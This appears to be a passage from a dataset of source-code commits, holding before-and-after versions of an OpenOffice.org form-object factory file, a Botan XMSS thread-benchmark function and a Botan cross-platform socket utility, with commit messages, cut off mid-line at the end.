break;\n\n case OBJ_FM_RADIOBUTTON:\n sServiceSpecifier = FM_COMPONENT_RADIOBUTTON;\n break;\n\n case OBJ_FM_GROUPBOX:\n sServiceSpecifier = FM_COMPONENT_GROUPBOX;\n break;\n\n case OBJ_FM_COMBOBOX:\n sServiceSpecifier = FM_COMPONENT_COMBOBOX;\n break;\n\n case OBJ_FM_GRID:\n sServiceSpecifier = FM_COMPONENT_GRID;\n break;\n\n case OBJ_FM_IMAGEBUTTON:\n sServiceSpecifier = FM_COMPONENT_IMAGEBUTTON;\n break;\n\n case OBJ_FM_FILECONTROL:\n sServiceSpecifier = FM_COMPONENT_FILECONTROL;\n break;\n\n case OBJ_FM_DATEFIELD:\n sServiceSpecifier = FM_COMPONENT_DATEFIELD;\n break;\n\n case OBJ_FM_TIMEFIELD:\n sServiceSpecifier = FM_COMPONENT_TIMEFIELD;\n aInitialProperties.push_back( PropertyValueArray::value_type( FM_PROP_TIMEMAX, makeAny( (sal_Int32)( Time( 23, 59, 59, 99 ).GetTime() ) ) ) );\n break;\n\n case OBJ_FM_NUMERICFIELD:\n sServiceSpecifier = FM_COMPONENT_NUMERICFIELD;\n break;\n\n case OBJ_FM_CURRENCYFIELD:\n sServiceSpecifier = FM_COMPONENT_CURRENCYFIELD;\n break;\n\n case OBJ_FM_PATTERNFIELD:\n sServiceSpecifier = FM_COMPONENT_PATTERNFIELD;\n break;\n\n case OBJ_FM_HIDDEN:\n sServiceSpecifier = FM_COMPONENT_HIDDEN;\n break;\n\n case OBJ_FM_IMAGECONTROL:\n sServiceSpecifier = FM_COMPONENT_IMAGECONTROL;\n break;\n\n case OBJ_FM_FORMATTEDFIELD:\n sServiceSpecifier = FM_COMPONENT_FORMATTEDFIELD;\n break;\n\n case OBJ_FM_NAVIGATIONBAR:\n sServiceSpecifier = FM_SUN_COMPONENT_NAVIGATIONBAR;\n break;\n\n case OBJ_FM_SCROLLBAR:\n sServiceSpecifier = FM_SUN_COMPONENT_SCROLLBAR;\n aInitialProperties.push_back( PropertyValueArray::value_type( FM_PROP_BORDER, makeAny( (sal_Int16)0 ) ) );\n break;\n\n case OBJ_FM_SPINBUTTON:\n sServiceSpecifier = FM_SUN_COMPONENT_SPINBUTTON;\n aInitialProperties.push_back( PropertyValueArray::value_type( FM_PROP_BORDER, makeAny( (sal_Int16)0 ) ) );\n break;\n }\n\n \/\/ create the actual object\n if ( sServiceSpecifier.getLength() )\n pObjFactory->pNewObj = new FmFormObj( sServiceSpecifier, pObjFactory->nIdentifier );\n else\n pObjFactory->pNewObj = new FmFormObj( pObjFactory->nIdentifier );\n\n \/\/ initialize some properties which we want to differ from the defaults\n for ( PropertyValueArray::const_iterator aInitProp = aInitialProperties.begin();\n aInitProp != aInitialProperties.end();\n ++aInitProp\n )\n {\n lcl_initProperty(\n static_cast< FmFormObj* >( pObjFactory->pNewObj ),\n aInitProp->first,\n aInitProp->second\n );\n }\n }\n\n return 0;\n}\n\n\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.17.368); FILE MERGED 2008\/04\/01 15:51:01 thb 1.17.368.3: #i85898# Stripping all external header guards 2008\/04\/01 12:48:51 thb 1.17.368.2: #i85898# Stripping all external header guards 2008\/03\/31 14:21:54 rt 1.17.368.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: fmobjfac.cxx,v $\n * $Revision: 1.18 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_svx.hxx\"\n#include <comphelper\/stl_types.hxx>\n#include <svx\/svdobj.hxx>\n#include \"fmtools.hxx\"\n#include \"fmservs.hxx\"\n\n#ifndef _FM_FMOBJFAC_HXX\n#include \"fmobjfac.hxx\"\n#endif\n\n#ifndef _FM_FMGLOB_HXX\n#include <svx\/fmglob.hxx>\n#endif\n\n#ifndef _FM_FMOBJ_HXX\n#include \"fmobj.hxx\"\n#endif\n#include \"fmshimp.hxx\"\n\n#ifndef _FM_FMSHELL_HXX\n#include <svx\/fmshell.hxx>\n#endif\n\n#ifndef _SVX_SVXIDS_HRC\n#include <svx\/svxids.hrc>\n#endif\n#include \"tbxform.hxx\"\n#include <tools\/resid.hxx>\n\n#ifndef _SVX_FMRESIDS_HRC\n#include \"fmresids.hrc\"\n#endif\n#include <tools\/shl.hxx>\n#include <svx\/dialmgr.hxx>\n#include \"fmservs.hxx\"\n#include \"tabwin.hxx\"\n#include \"fmexpl.hxx\"\n#include \"filtnav.hxx\"\n\n#ifndef _SVX_FMPROP_HRC\n#include \"fmprop.hrc\"\n#endif\n#include \"fmPropBrw.hxx\"\n#include \"datanavi.hxx\"\n\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::beans;\nusing namespace ::svxform;\n\nstatic BOOL bInit = FALSE;\n\n\/*************************************************************************\n|*\n|* Ctor\n|*\n\\************************************************************************\/\nFmFormObjFactory::FmFormObjFactory()\n{\n if ( !bInit )\n {\n SdrObjFactory::InsertMakeObjectHdl(LINK(this, FmFormObjFactory, MakeObject));\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Konfigurations-::com::sun::star::frame::Controller und NavigationBar registrieren\n SvxFmTbxCtlConfig::RegisterControl( SID_FM_CONFIG );\n SvxFmTbxCtlAbsRec::RegisterControl( SID_FM_RECORD_ABSOLUTE );\n SvxFmTbxCtlRecText::RegisterControl( SID_FM_RECORD_TEXT );\n SvxFmTbxCtlRecFromText::RegisterControl( SID_FM_RECORD_FROM_TEXT );\n SvxFmTbxCtlRecTotal::RegisterControl( SID_FM_RECORD_TOTAL );\n SvxFmTbxPrevRec::RegisterControl( SID_FM_RECORD_PREV );\n SvxFmTbxNextRec::RegisterControl( SID_FM_RECORD_NEXT );\n ControlConversionMenuController::RegisterControl(SID_FM_CHANGECONTROLTYPE);\n\n \/\/ Registrieung von globalen fenstern\n FmFieldWinMgr::RegisterChildWindow();\n FmPropBrwMgr::RegisterChildWindow();\n NavigatorFrameManager::RegisterChildWindow();\n DataNavigatorManager::RegisterChildWindow();\n FmFilterNavigatorWinMgr::RegisterChildWindow();\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Interface fuer die Formshell registrieren\n FmFormShell::RegisterInterface(0);\n\n ImplSmartRegisterUnoServices();\n bInit = TRUE;\n }\n}\n\n\n\/*************************************************************************\n|*\n|* Dtor\n|*\n\\************************************************************************\/\nFmFormObjFactory::~FmFormObjFactory()\n{\n}\n\n\n\/*************************************************************************\n|*\n|* ::com::sun::star::form::Form-Objekte erzeugen\n|*\n\\************************************************************************\/\nnamespace\n{\n void lcl_initProperty( FmFormObj* _pObject, const ::rtl::OUString& _rPropName, const Any& _rValue )\n {\n try\n {\n Reference< XPropertySet > xModelSet( _pObject->GetUnoControlModel(), UNO_QUERY );\n if ( xModelSet.is() )\n xModelSet->setPropertyValue( _rPropName, _rValue );\n }\n catch( const Exception& )\n {\n DBG_ERROR( \"lcl_initProperty: caught an exception!\" );\n }\n }\n}\n\nIMPL_LINK(FmFormObjFactory, MakeObject, SdrObjFactory*, pObjFactory)\n{\n if (pObjFactory->nInventor == FmFormInventor)\n {\n ::rtl::OUString sServiceSpecifier;\n\n typedef ::std::vector< ::std::pair< ::rtl::OUString, Any > > PropertyValueArray;\n PropertyValueArray aInitialProperties;\n\n switch ( pObjFactory->nIdentifier )\n {\n case OBJ_FM_EDIT:\n sServiceSpecifier = FM_COMPONENT_EDIT;\n break;\n\n case OBJ_FM_BUTTON:\n sServiceSpecifier = FM_COMPONENT_COMMANDBUTTON;\n break;\n\n case OBJ_FM_FIXEDTEXT:\n sServiceSpecifier = FM_COMPONENT_FIXEDTEXT;\n break;\n\n case OBJ_FM_LISTBOX:\n sServiceSpecifier = FM_COMPONENT_LISTBOX;\n break;\n\n case OBJ_FM_CHECKBOX:\n sServiceSpecifier = FM_COMPONENT_CHECKBOX;\n break;\n\n case OBJ_FM_RADIOBUTTON:\n sServiceSpecifier = FM_COMPONENT_RADIOBUTTON;\n break;\n\n case OBJ_FM_GROUPBOX:\n sServiceSpecifier = FM_COMPONENT_GROUPBOX;\n break;\n\n case OBJ_FM_COMBOBOX:\n sServiceSpecifier = FM_COMPONENT_COMBOBOX;\n break;\n\n case OBJ_FM_GRID:\n sServiceSpecifier = FM_COMPONENT_GRID;\n break;\n\n case OBJ_FM_IMAGEBUTTON:\n sServiceSpecifier = FM_COMPONENT_IMAGEBUTTON;\n break;\n\n case OBJ_FM_FILECONTROL:\n sServiceSpecifier = FM_COMPONENT_FILECONTROL;\n break;\n\n case OBJ_FM_DATEFIELD:\n sServiceSpecifier = FM_COMPONENT_DATEFIELD;\n break;\n\n case OBJ_FM_TIMEFIELD:\n sServiceSpecifier = FM_COMPONENT_TIMEFIELD;\n aInitialProperties.push_back( PropertyValueArray::value_type( FM_PROP_TIMEMAX, makeAny( (sal_Int32)( Time( 23, 59, 59, 99 ).GetTime() ) ) ) );\n break;\n\n case OBJ_FM_NUMERICFIELD:\n sServiceSpecifier = FM_COMPONENT_NUMERICFIELD;\n break;\n\n case OBJ_FM_CURRENCYFIELD:\n sServiceSpecifier = FM_COMPONENT_CURRENCYFIELD;\n break;\n\n case OBJ_FM_PATTERNFIELD:\n sServiceSpecifier = FM_COMPONENT_PATTERNFIELD;\n break;\n\n case OBJ_FM_HIDDEN:\n sServiceSpecifier = FM_COMPONENT_HIDDEN;\n break;\n\n case OBJ_FM_IMAGECONTROL:\n sServiceSpecifier = FM_COMPONENT_IMAGECONTROL;\n break;\n\n case OBJ_FM_FORMATTEDFIELD:\n sServiceSpecifier = FM_COMPONENT_FORMATTEDFIELD;\n break;\n\n case OBJ_FM_NAVIGATIONBAR:\n sServiceSpecifier = FM_SUN_COMPONENT_NAVIGATIONBAR;\n break;\n\n case OBJ_FM_SCROLLBAR:\n sServiceSpecifier = FM_SUN_COMPONENT_SCROLLBAR;\n aInitialProperties.push_back( PropertyValueArray::value_type( FM_PROP_BORDER, makeAny( (sal_Int16)0 ) ) );\n break;\n\n case OBJ_FM_SPINBUTTON:\n sServiceSpecifier = FM_SUN_COMPONENT_SPINBUTTON;\n aInitialProperties.push_back( PropertyValueArray::value_type( FM_PROP_BORDER, makeAny( (sal_Int16)0 ) ) );\n break;\n }\n\n \/\/ create the actual object\n if ( sServiceSpecifier.getLength() )\n pObjFactory->pNewObj = new FmFormObj( sServiceSpecifier, pObjFactory->nIdentifier );\n else\n pObjFactory->pNewObj = new FmFormObj( pObjFactory->nIdentifier );\n\n \/\/ initialize some properties which we want to differ from the defaults\n for ( PropertyValueArray::const_iterator aInitProp = aInitialProperties.begin();\n aInitProp != aInitialProperties.end();\n ++aInitProp\n )\n {\n lcl_initProperty(\n static_cast< FmFormObj* >( pObjFactory->pNewObj ),\n aInitProp->first,\n aInitProp->second\n );\n }\n }\n\n return 0;\n}\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * XMSS Tools\n * (C) 2017 Matthias Gierlings\n *\n * Botan is released under the Simplified BSD License (see license.txt)\n **\/\n\n#include <botan\/xmss_tools.h>\n\nnamespace Botan {\n\n#if defined(BOTAN_TARGET_OS_HAS_THREADS)\n\nsize_t XMSS_Tools::max_threads()\n {\n static const size_t threads { bench_threads() };\n return threads;\n }\n\nsize_t XMSS_Tools::bench_threads()\n {\n if(std::thread::hardware_concurrency() <= 1)\n {\n return 1;\n }\n const size_t BENCH_ITERATIONS = 1000;\n std::vector<std::thread> threads;\n threads.reserve(std::thread::hardware_concurrency());\n std::vector<std::chrono::nanoseconds> durations;\n\n std::vector<size_t> concurrency { std::thread::hardware_concurrency(),\n std::thread::hardware_concurrency() \/ 2 };\n\n for(const auto& cc : concurrency)\n {\n AutoSeeded_RNG rng;\n std::vector<XMSS_Hash> hash(std::thread::hardware_concurrency(),\n XMSS_Hash(\"SHA-256\"));\n std::vector<secure_vector<uint8_t>> data(\n std::thread::hardware_concurrency(),\n rng.random_vec(hash[0].output_length()));\n auto start = std::chrono::high_resolution_clock::now();\n for(size_t i = 0; i < cc; ++i)\n {\n auto& hs = hash[i];\n auto& d = data[i];\n threads.emplace_back(\n std::thread([&BENCH_ITERATIONS, &i, &cc, &hs, &d]()\n {\n for(size_t n = 0;\n n < BENCH_ITERATIONS * (std::thread::hardware_concurrency() \/\n cc);\n n++)\n {\n hs.h(d, d, d);\n }\n }\n ));\n }\n durations.emplace_back(std::chrono::duration_cast<std::chrono::nanoseconds>(std::chrono::high_resolution_clock::now() - start));\n for(auto& t : threads)\n {\n t.join();\n }\n threads.clear();\n }\n\n if(durations[0].count() < durations[1].count())\n {\n return concurrency[0];\n }\n else\n {\n return concurrency[1];\n }\n }\n\n#endif\n\n}\n\n<commit_msg>Clean up XMSS self-benchmark<commit_after>\/*\n * XMSS Tools\n * (C) 2017 Matthias Gierlings\n *\n * Botan is released under the Simplified BSD License (see license.txt)\n **\/\n\n#include <botan\/xmss_tools.h>\n\nnamespace Botan {\n\n#if defined(BOTAN_TARGET_OS_HAS_THREADS)\n\nsize_t XMSS_Tools::max_threads()\n {\n static const size_t threads { bench_threads() };\n return threads;\n }\n\nsize_t XMSS_Tools::bench_threads()\n {\n if(std::thread::hardware_concurrency() <= 1)\n {\n return 1;\n }\n const size_t BENCH_ITERATIONS = 1000;\n std::vector<std::thread> threads;\n threads.reserve(std::thread::hardware_concurrency());\n std::vector<std::chrono::nanoseconds> durations;\n\n std::vector<size_t> concurrency { std::thread::hardware_concurrency(),\n std::thread::hardware_concurrency() \/ 2 };\n\n for(const auto& cc : concurrency)\n {\n AutoSeeded_RNG rng;\n std::vector<XMSS_Hash> hash(std::thread::hardware_concurrency(),\n XMSS_Hash(\"SHA-256\"));\n std::vector<secure_vector<uint8_t>> data(\n std::thread::hardware_concurrency(),\n rng.random_vec(hash[0].output_length()));\n auto start = std::chrono::high_resolution_clock::now();\n for(size_t i = 0; i < cc; ++i)\n {\n auto& hs = hash[i];\n auto& d = data[i];\n\n const size_t n_iters = BENCH_ITERATIONS * (std::thread::hardware_concurrency() \/ cc);\n threads.emplace_back(std::thread([n_iters, &hs, &d]()\n {\n for(size_t n = 0; n < n_iters; n++)\n {\n hs.h(d, d, d);\n }\n }\n ));\n }\n durations.emplace_back(std::chrono::duration_cast<std::chrono::nanoseconds>(std::chrono::high_resolution_clock::now() - start));\n for(auto& t : threads)\n {\n t.join();\n }\n threads.clear();\n }\n\n if(durations[0].count() < durations[1].count())\n {\n return concurrency[0];\n }\n else\n {\n return concurrency[1];\n }\n }\n\n#endif\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n* OS and machine specific utility functions\n* (C) 2015,2016,2017 Jack Lloyd\n* (C) 2016 Daniel Neus\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#include <botan\/internal\/socket.h>\n#include <botan\/exceptn.h>\n#include <chrono>\n\n#if defined(BOTAN_HAS_BOOST_ASIO)\n \/*\n * We don't need serial port support anyway, and asking for it\n * causes macro conflicts with Darwin's termios.h when this\n * file is included in the amalgamation. GH #350\n *\/\n #define BOOST_ASIO_DISABLE_SERIAL_PORT\n #include <boost\/asio.hpp>\n#endif\n\n#if defined(BOTAN_TARGET_OS_TYPE_IS_UNIX)\n\n#if !defined(BOTAN_HAS_BOOST_ASIO)\n #include <sys\/socket.h>\n #include <netinet\/in.h>\n #include <netdb.h>\n #include <string.h>\n #include <unistd.h>\n#endif\n\n#elif defined(BOTAN_TARGET_OS_TYPE_IS_WINDOWS)\n #include <botan\/mem_ops.h>\n\n #define NOMINMAX 1\n#if !defined(BOTAN_HAS_BOOST_ASIO)\n #include <winsock2.h>\n #include <ws2tcpip.h>\n#endif\n #include <windows.h>\n#endif\n\nnamespace Botan {\n\nnamespace {\n\n#if defined(BOTAN_HAS_BOOST_ASIO)\n\nclass Asio_Socket final : public OS::Socket\n {\n public:\n Asio_Socket(const std::string& hostname, const std::string& service) :\n m_tcp(m_io)\n {\n boost::asio::ip::tcp::resolver resolver(m_io);\n boost::asio::ip::tcp::resolver::query query(hostname, service);\n boost::asio::connect(m_tcp, resolver.resolve(query));\n }\n\n void write(const uint8_t buf[], size_t len) override\n {\n boost::asio::write(m_tcp, boost::asio::buffer(buf, len));\n }\n\n size_t read(uint8_t buf[], size_t len) override\n {\n boost::system::error_code error;\n size_t got = m_tcp.read_some(boost::asio::buffer(buf, len), error);\n\n if(error)\n {\n if(error == boost::asio::error::eof)\n return 0;\n throw boost::system::system_error(error); \/\/ Some other error.\n }\n\n return got;\n }\n\n private:\n boost::asio::io_service m_io;\n boost::asio::ip::tcp::socket m_tcp;\n };\n\n#elif defined(BOTAN_TARGET_OS_TYPE_IS_WINDOWS)\n\nclass Winsock_Socket final : public OS::Socket\n {\n public:\n Winsock_Socket(const std::string& hostname, const std::string& service)\n {\n WSAData wsa_data;\n WORD wsa_version = MAKEWORD(2, 2);\n\n if (::WSAStartup(wsa_version, &wsa_data) != 0)\n {\n throw Exception(\"WSAStartup() failed: \" + std::to_string(WSAGetLastError()));\n }\n\n if (LOBYTE(wsa_data.wVersion) != 2 || HIBYTE(wsa_data.wVersion) != 2)\n {\n ::WSACleanup();\n throw Exception(\"Could not find a usable version of Winsock.dll\");\n }\n\n addrinfo hints;\n ::memset(&hints, 0, sizeof(addrinfo));\n hints.ai_family = AF_UNSPEC;\n hints.ai_socktype = SOCK_STREAM;\n addrinfo* res;\n\n if(::getaddrinfo(hostname.c_str(), service.c_str(), &hints, &res) != 0)\n {\n throw Exception(\"Name resolution failed for \" + hostname);\n }\n\n for(addrinfo* rp = res; (m_socket == INVALID_SOCKET) && (rp != nullptr); rp = rp->ai_next)\n {\n m_socket = ::socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);\n\n \/\/ unsupported socket type?\n if(m_socket == INVALID_SOCKET)\n continue;\n\n if(::connect(m_socket, rp->ai_addr, rp->ai_addrlen) != 0)\n {\n ::closesocket(m_socket);\n m_socket = INVALID_SOCKET;\n continue;\n }\n }\n\n ::freeaddrinfo(res);\n\n if(m_socket == INVALID_SOCKET)\n {\n throw Exception(\"Connecting to \" + hostname +\n \" for service \" + service + \" failed\");\n }\n }\n\n ~Winsock_Socket()\n {\n ::closesocket(m_socket);\n m_socket = INVALID_SOCKET;\n ::WSACleanup();\n }\n\n void write(const uint8_t buf[], size_t len) override\n {\n size_t sent_so_far = 0;\n while(sent_so_far != len)\n {\n const size_t left = len - sent_so_far;\n int sent = ::send(m_socket,\n cast_uint8_ptr_to_char(buf + sent_so_far),\n static_cast<int>(left),\n 0);\n\n if(sent == SOCKET_ERROR)\n throw Exception(\"Socket write failed with error \" +\n std::to_string(::WSAGetLastError()));\n else\n sent_so_far += static_cast<size_t>(sent);\n }\n }\n\n size_t read(uint8_t buf[], size_t len) override\n {\n int got = ::recv(m_socket,\n cast_uint8_ptr_to_char(buf),\n static_cast<int>(len), 0);\n\n if(got == SOCKET_ERROR)\n throw Exception(\"Socket read failed with error \" +\n std::to_string(::WSAGetLastError()));\n return static_cast<size_t>(got);\n }\n\n private:\n SOCKET m_socket = INVALID_SOCKET;\n };\n\n#elif defined(BOTAN_TARGET_OS_TYPE_IS_UNIX)\nclass BSD_Socket final : public OS::Socket\n {\n public:\n BSD_Socket(const std::string& hostname, const std::string& service)\n {\n addrinfo hints;\n ::memset(&hints, 0, sizeof(addrinfo));\n hints.ai_family = AF_UNSPEC;\n hints.ai_socktype = SOCK_STREAM;\n addrinfo* res;\n\n if(::getaddrinfo(hostname.c_str(), service.c_str(), &hints, &res) != 0)\n {\n throw Exception(\"Name resolution failed for \" + hostname);\n }\n\n m_fd = -1;\n\n for(addrinfo* rp = res; (m_fd < 0) && (rp != nullptr); rp = rp->ai_next)\n {\n m_fd = ::socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);\n\n if(m_fd < 0)\n {\n \/\/ unsupported socket type?\n continue;\n }\n\n if(::connect(m_fd, rp->ai_addr, rp->ai_addrlen) != 0)\n {\n ::close(m_fd);\n m_fd = -1;\n continue;\n }\n }\n\n ::freeaddrinfo(res);\n\n if(m_fd < 0)\n {\n throw Exception(\"Connecting to \" + hostname +\n \" for service \" + service + \" failed\");\n }\n }\n\n ~BSD_Socket()\n {\n ::close(m_fd);\n m_fd = -1;\n }\n\n void write(const uint8_t buf[], size_t len) override\n {\n size_t sent_so_far = 0;\n while(sent_so_far != len)\n {\n const size_t left = len - sent_so_far;\n ssize_t sent = ::write(m_fd, &buf[sent_so_far], left);\n if(sent < 0)\n throw Exception(\"Socket write failed with error '\" +\n std::string(::strerror(errno)) + \"'\");\n else\n sent_so_far += static_cast<size_t>(sent);\n }\n }\n\n size_t read(uint8_t buf[], size_t len) override\n {\n ssize_t got = ::read(m_fd, buf, len);\n\n if(got < 0)\n throw Exception(\"Socket read failed with error '\" +\n std::string(::strerror(errno)) + \"'\");\n return static_cast<size_t>(got);\n }\n\n private:\n int m_fd;\n };\n\n#endif\n\n}\n\nstd::unique_ptr<OS::Socket>\nOS::open_socket(const std::string& hostname,\n const std::string& service)\n {\n#if defined(BOTAN_HAS_BOOST_ASIO)\n return std::unique_ptr<OS::Socket>(new Asio_Socket(hostname, service));\n\n#elif defined(BOTAN_TARGET_OS_TYPE_IS_WINDOWS)\n return std::unique_ptr<OS::Socket>(new Winsock_Socket(hostname, service));\n\n#elif defined(BOTAN_TARGET_OS_TYPE_IS_UNIX)\n return std::unique_ptr<OS::Socket>(new BSD_Socket(hostname, service));\n\n#else\n \/\/ No sockets for you\n return std::unique_ptr<Socket>();\n#endif\n }\n\n}\n<commit_msg>Simplify header includes in socket.cpp<commit_after>\/*\n* OS and machine specific utility functions\n* (C) 2015,2016,2017 Jack Lloyd\n* (C) 2016 Daniel Neus\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#include <botan\/internal\/socket.h>\n#include <botan\/exceptn.h>\n#include <botan\/mem_ops.h>\n#include <chrono>\n\n#if defined(BOTAN_HAS_BOOST_ASIO)\n \/*\n * We don't need serial port support anyway, and asking for it\n * causes macro conflicts with Darwin's termios.h when this\n * file is included in the amalgamation. GH #350\n *\/\n #define BOOST_ASIO_DISABLE_SERIAL_PORT\n #include <boost\/asio.hpp>\n\n#elif defined(BOTAN_TARGET_OS_TYPE_IS_UNIX)\n #include <sys\/socket.h>\n #include <netinet\/in.h>\n #include <netdb.h>\n #include <string.h>\n #include <unistd.h>\n #include <errno.h>\n\n#elif defined(BOTAN_TARGET_OS_TYPE_IS_WINDOWS)\n #define NOMINMAX 1\n #include <winsock2.h>\n #include <ws2tcpip.h>\n #include <windows.h>\n#endif\n\nnamespace Botan {\n\nnamespace {\n\n#if defined(BOTAN_HAS_BOOST_ASIO)\n\nclass Asio_Socket final : public OS::Socket\n {\n public:\n Asio_Socket(const std::string& hostname, const std::string& service) :\n m_tcp(m_io)\n {\n boost::asio::ip::tcp::resolver resolver(m_io);\n boost::asio::ip::tcp::resolver::query query(hostname, service);\n boost::asio::connect(m_tcp, resolver.resolve(query));\n }\n\n void write(const uint8_t buf[], size_t len) override\n {\n boost::asio::write(m_tcp, boost::asio::buffer(buf, len));\n }\n\n size_t read(uint8_t buf[], size_t len) override\n {\n boost::system::error_code error;\n size_t got = m_tcp.read_some(boost::asio::buffer(buf, len), error);\n\n if(error)\n {\n if(error == boost::asio::error::eof)\n return 0;\n throw boost::system::system_error(error); \/\/ Some other error.\n }\n\n return got;\n }\n\n private:\n boost::asio::io_service m_io;\n boost::asio::ip::tcp::socket m_tcp;\n };\n\n#elif defined(BOTAN_TARGET_OS_TYPE_IS_WINDOWS)\n\nclass Winsock_Socket final : public OS::Socket\n {\n public:\n Winsock_Socket(const std::string& hostname, const std::string& service)\n {\n WSAData wsa_data;\n WORD wsa_version = MAKEWORD(2, 2);\n\n if (::WSAStartup(wsa_version, &wsa_data) != 0)\n {\n throw Exception(\"WSAStartup() failed: \" + std::to_string(WSAGetLastError()));\n }\n\n if (LOBYTE(wsa_data.wVersion) != 2 || HIBYTE(wsa_data.wVersion) != 2)\n {\n ::WSACleanup();\n throw Exception(\"Could not find a usable version of Winsock.dll\");\n }\n\n addrinfo hints;\n ::memset(&hints, 0, sizeof(addrinfo));\n hints.ai_family = AF_UNSPEC;\n hints.ai_socktype = SOCK_STREAM;\n addrinfo* res;\n\n if(::getaddrinfo(hostname.c_str(), service.c_str(), &hints, &res) != 0)\n {\n throw Exception(\"Name resolution failed for \" + hostname);\n }\n\n for(addrinfo* rp = res; (m_socket == INVALID_SOCKET) && (rp != nullptr); rp = rp->ai_next)\n {\n m_socket = ::socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);\n\n \/\/ unsupported socket type?\n if(m_socket == INVALID_SOCKET)\n continue;\n\n if(::connect(m_socket, rp->ai_addr, rp->ai_addrlen) != 0)\n {\n ::closesocket(m_socket);\n m_socket = INVALID_SOCKET;\n continue;\n }\n }\n\n ::freeaddrinfo(res);\n\n if(m_socket == INVALID_SOCKET)\n {\n throw Exception(\"Connecting to \" + hostname +\n \" for service \" + service + \" failed\");\n }\n }\n\n ~Winsock_Socket()\n {\n ::closesocket(m_socket);\n m_socket = INVALID_SOCKET;\n ::WSACleanup();\n }\n\n void write(const uint8_t buf[], size_t len) override\n {\n size_t sent_so_far = 0;\n while(sent_so_far != len)\n {\n const size_t left = len - sent_so_far;\n int sent = ::send(m_socket,\n cast_uint8_ptr_to_char(buf + sent_so_far),\n static_cast<int>(left),\n 0);\n\n if(sent == SOCKET_ERROR)\n throw Exception(\"Socket write failed with error \" +\n std::to_string(::WSAGetLastError()));\n else\n sent_so_far += static_cast<size_t>(sent);\n }\n }\n\n size_t read(uint8_t buf[], size_t len) override\n {\n int got = ::recv(m_socket,\n cast_uint8_ptr_to_char(buf),\n static_cast<int>(len), 0);\n\n if(got == SOCKET_ERROR)\n throw Exception(\"Socket read failed with error \" +\n std::to_string(::WSAGetLastError()));\n return static_cast<size_t>(got);\n }\n\n private:\n SOCKET m_socket = INVALID_SOCKET;\n };\n\n#elif defined(BOTAN_TARGET_OS_TYPE_IS_UNIX)\nclass BSD_Socket final : public OS::Socket\n {\n public:\n BSD_Socket(const std::string& hostname, const std::string& service)\n {\n addrinfo hints;\n ::memset(&hints, 0, sizeof(addrinfo));\n hints.ai_family = AF_UNSPEC;\n hints.ai_socktype = SOCK_STREAM;\n addrinfo* res;\n\n if(::getaddrinfo(hostname.c_str(), service.c_str(), &hints, &res) != 0)\n {\n throw Exception(\"Name resolution failed for \" + hostname);\n }\n\n m_fd = -1;\n\n for(addrinfo* rp = res; (m_fd < 0) && (rp != nullptr); rp = rp->ai_next)\n {\n m_fd = ::socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);\n\n if(m_fd < 0)\n {\n \/\/ unsupported socket type?\n continue;\n }\n\n if(::connect(m_fd, rp->ai_addr, rp->ai_addrlen) != 0)\n {\n ::close(m_fd);\n m_fd = -1;\n continue;\n }\n }\n\n ::freeaddrinfo(res);\n\n if(m_fd < 0)\n {\n throw Exception(\"Connecting to \" + hostname +\n \" for service \" + service + \" failed\");\n }\n }\n\n ~BSD_Socket()\n {\n ::close(m_fd);\n m_fd = -1;\n }\n\n void write(const uint8_t buf[], size_t len) override\n {\n size_t sent_so_far = 0;\n while(sent_so_far != len)\n {\n const size_t left = len - sent_so_far;\n ssize_t sent = ::write(m_fd, &buf[sent_so_far], left);\n if(sent < 0)\n throw Exception(\"Socket write failed with error '\" +\n std::string(::strerror(errno)) + \"'\");\n else\n sent_so_far += static_cast<size_t>(sent);\n }\n }\n\n size_t read(uint8_t buf[], size_t len) override\n {\n ssize_t got = ::read(m_fd, buf, len);\n\n if(got < 0)\n throw Exception(\"Socket read failed with error '\" +\n std::string(::strerror(errno)) + \"'\");\n return static_cast<size_t>(got);\n }\n\n private:\n int m_fd;\n };\n\n#endif\n\n}\n\nstd::unique_ptr<OS::Socket>\nOS::open_socket(const std::string& hostname,\n const std::string& service)\n {\n#if defined(BOTAN_HAS_BOOST_ASIO)\n return std::unique_ptr<OS::Socket>(new Asio_Socket(hostname, service));\n\n#elif defined(BOTAN_TARGET_OS_TYPE_IS_WINDOWS)\n return std::unique_ptr<OS::Socket>(new Winsock_Socket(hostname, service));\n\n#elif defined(BOTAN_TARGET_OS_TYPE_IS_UNIX)\n return std::unique_ptr<OS::Socket>(new BSD_Socket(hostname, service));\n\n#else\n \/\/ No sockets for you\n return 